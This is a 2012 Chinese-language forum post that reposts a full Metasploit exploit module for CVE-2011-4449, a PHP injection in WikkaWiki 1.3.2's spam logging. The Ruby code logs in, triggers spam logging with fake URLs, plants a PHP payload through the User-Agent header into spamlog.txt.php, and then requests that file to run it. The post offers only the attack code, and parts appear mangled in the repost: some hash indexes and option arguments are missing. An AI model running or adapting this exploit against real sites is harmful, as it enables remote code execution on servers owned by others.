遛一圈喜欢放屁的闲狗 發表於 2012-5-14 12:03:08

WikkaWiki 1.3.2 Spam Logging PHP注射的方法

## <br /># This file is part of the Metasploit Framework and may be subject to <br /># redistribution and commercial restrictions. Please see the Metasploit <br /># Framework web site for more information on licensing and terms of use. <br /># http://metasploit.com/framework/ <br />## <br />require 'msf/core' <br />class Metasploit3 &lt; Msf::Exploit::Remote <br />Rank = ExcellentRanking <br />include Msf::Exploit::Remote::HttpClient <br />def initialize(info={}) <br />super(update_info(info, <br />'Name' =&gt; &quot;WikkaWiki 1.3.2 Spam Logging PHP Injection&quot;, <br />'Description' =&gt; %q{ <br />This module exploits a vulnerability found in WikkaWiki. When the spam logging <br />feature is enabled, it is possible to inject PHP code into the spam log file via the <br />UserAgent header , and then request it to execute our payload. There are at least <br />three different ways to trigger spam protection, this module does so by generating <br />10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6). <br />Please note that in order to use the injection, you must manually pick a page <br />first that allows you to add a comment, and then set it as 'PAGE'. <br />}, <br />'License' =&gt; MSF_LICENSE, <br />'Author' =&gt; <br />[ <br />'EgiX', #Initial discovery, PoC <br />'sinn3r' #Metasploit <br />], <br />'References' =&gt; <br />[ <br />['CVE', '2011-4449'], <br />['OSVDB', '77391'], <br />['EDB', '18177'], <br />['URL', 'http:// www.jb51.net /trac/wikka/ticket/1098'] <br />], <br />'Payload' =&gt; <br />{ <br />'BadChars' =&gt; &quot;\x00&quot; <br />}, <br />'DefaultOptions' =&gt; <br />{ <br />'ExitFunction' =&gt; &quot;none&quot; <br />}, <br />'Arch' =&gt; ARCH_PHP, <br />'Platform' =&gt; ['php'], <br />'Targets' =&gt; <br />[ <br />['WikkaWiki 1.3.2 r1814', {}] <br />], <br />'Privileged' =&gt; false, <br />'DisclosureDate' =&gt; &quot;Nov 30 2011&quot;, <br />'DefaultTarget' =&gt; 0)) <br />register_options( <br />[ <br />OptString.new('USERNAME', ), <br />OptString.new('PASSWORD', ), <br />OptString.new('PAGE', ), <br />OptString.new('TARGETURI', ) <br />], self.class) <br />end <br />def check <br />res = send_request_raw({ <br />'method' =&gt; 'GET', <br />'uri' =&gt; &quot;#{target_uri.path}wikka.php?wakka=HomePage&quot; <br />}) <br />if res and res.body =~ /Powered by WikkaWiki/ <br />return Exploit::CheckCode::Detected <br />else <br />return Exploit::CheckCode::Safe <br />end <br />end <br /># <br /># Get the cookie before we do any of that login/exploity stuff <br /># <br />def get_cookie <br />res = send_request_raw({ <br />'method' =&gt; 'GET', <br />'uri' =&gt; &quot;#{@base}wikka.php&quot; <br />}) <br /># Get the cookie in this format: <br /># 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka <br />if res and res.headers['Set-Cookie'] <br />cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten <br />else <br />raise RuntimeError, &quot;#{@peer} - No cookie found, will not continue&quot; <br />end <br />cookie <br />end <br /># <br /># Do login, and then return the cookie that contains our credential <br /># <br />def login(cookie) <br /># Send a request to the login page so we can obtain some hidden values needed for login <br />uri = &quot;#{@base}wikka.php?wakka=UserSettings&quot; <br />res = send_request_raw({ <br />'method' =&gt; 'GET', <br />'uri' =&gt; uri, <br />'cookie' =&gt; cookie <br />}) <br /># Extract the hidden fields <br />login = {} <br />if res and res.body =~ /\&lt;div id\=\&quot;content\&quot;\&gt;.+\&lt;fieldset class\=\&quot;hidden\&quot;\&gt;(.+)\&lt;\/fieldset\&gt;.+\&lt;legend\&gt;Login\/Register\&lt;\/legend\&gt;/m <br />fields = $1.scan(/\&lt;input type\=\&quot;hidden\&quot; name\=\&quot;(\w+)\&quot; value\=\&quot;(\w+)\&quot; \/&gt;/) <br />fields.each do |name, value| <br />login = value <br />end <br />else <br />raise RuntimeError, &quot;#{@peer} - Unable to find the hidden fieldset required for login&quot; <br />end <br /># Add the rest of fields required for login <br />login['action'] = 'login' <br />login['name'] = datastore['USERNAME'] <br />login['password'] = datastore['PASSWORD'] <br />login['do_redirect'] = 'on' <br />login['submit'] = &quot;Login&quot; <br />login['confpassword'] = '' <br />login['email'] = '' <br />port = (rport.to_i == 80) ? &quot;&quot; : &quot;:#{rport}&quot; <br />res = send_request_cgi({ <br />'method' =&gt; 'POST', <br />'uri' =&gt; uri, <br />'cookie' =&gt; cookie, <br />'headers' =&gt; { 'Referer' =&gt; &quot;http://#{rhost}#{port}#{uri}&quot; }, <br />'vars_post' =&gt; login <br />}) <br />if res and res.headers['Set-Cookie'] =~ /user_name/ <br />user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/) || &quot;&quot; <br />pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/) || &quot;&quot; <br />cookie_cred = &quot;#{cookie}; #{user}; #{pass}&quot; <br />else <br />cred = &quot;#{datastore['USERNAME']}:#{datastore['PASSWORD']}&quot; <br />raise RuntimeError, &quot;#{@peer} - Unable to login with \&quot;#{cred}\&quot;&quot; <br />end <br />return cookie_cred <br />end <br /># <br /># After login, we inject the PHP payload <br /># <br />def inject_exec(cookie) <br /># Get the necessary fields in order to post a comment <br />res = send_request_raw({ <br />'method' =&gt; 'GET', <br />'uri' =&gt; &quot;#{@base}wikka.php?wakka=#{datastore['PAGE']}&amp;show_comments=1&quot;, <br />'cookie' =&gt; cookie <br />}) <br />fields = {} <br />if res and res.body =~ /\&lt;form action\=.+processcomment.+\&lt;fieldset class\=\&quot;hidden\&quot;\&gt;(.+)\&lt;\/fieldset\&gt;/m <br />$1.scan(/\&lt;input type\=\&quot;hidden\&quot; name\=\&quot;(\w+)\&quot; value\=\&quot;(.+)\&quot; \/&gt;/).each do |n, v| <br />fields = v <br />end <br />else <br />raise RuntimeError, &quot;#{@peer} - Cannot get necessary fields before posting a comment&quot; <br />end <br /># Generate enough URLs to trigger spam logging <br />urls = '' <br />10.times do |i| <br />urls &lt;&lt; &quot;http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n&quot; <br />end <br /># Add more fields <br />fields['body'] = urls <br />fields['submit'] = 'Add' <br /># Inject payload <br />b64_payload = Rex::Text.encode_base64(payload.encoded) <br />port = (rport.to_i == 80) ? &quot;&quot; : &quot;:#{rport}&quot; <br />uri = &quot;#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment&quot; <br />post_data = &quot;&quot; <br />send_request_cgi({ <br />'method' =&gt; 'POST', <br />'uri' =&gt; &quot;#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment&quot;, <br />'cookie' =&gt; cookie, <br />'headers' =&gt; { 'Referer' =&gt; &quot;http://#{rhost}:#{port}/#{uri}&quot; }, <br />'vars_post' =&gt; fields, <br />'agent' =&gt; &quot;&lt;?php #{payload.encoded} ?&gt;&quot; <br />}) <br />send_request_raw({ <br />'method' =&gt; 'GET', <br />'uri' =&gt; &quot;#{@base}spamlog.txt.php&quot; <br />}) <br />end <br />def exploit <br />@peer = &quot;#{rhost}:#{rport}&quot; <br />@base = target_uri.path <br />@base &lt;&lt; '/' if @base[-1, 1] != '/' <br />print_status(&quot;#{@peer} - Getting cookie&quot;) <br />cookie = get_cookie <br />print_status(&quot;#{@peer} - Logging in&quot;) <br />cred = login(cookie) <br />print_status(&quot;#{@peer} - Triggering spam logging&quot;) <br />inject_exec(cred) <br />handler <br />end <br />end <br />=begin <br />For testing: <br />svn -r 1814 co https://wush.net/svn/wikka/trunk wikka <br />Open wikka.config.php, do: <br />'spam_logging' =&gt; '1' <br />=end <br />
頁: [1]
查看完整版本: WikkaWiki 1.3.2 Spam Logging PHP注射的方法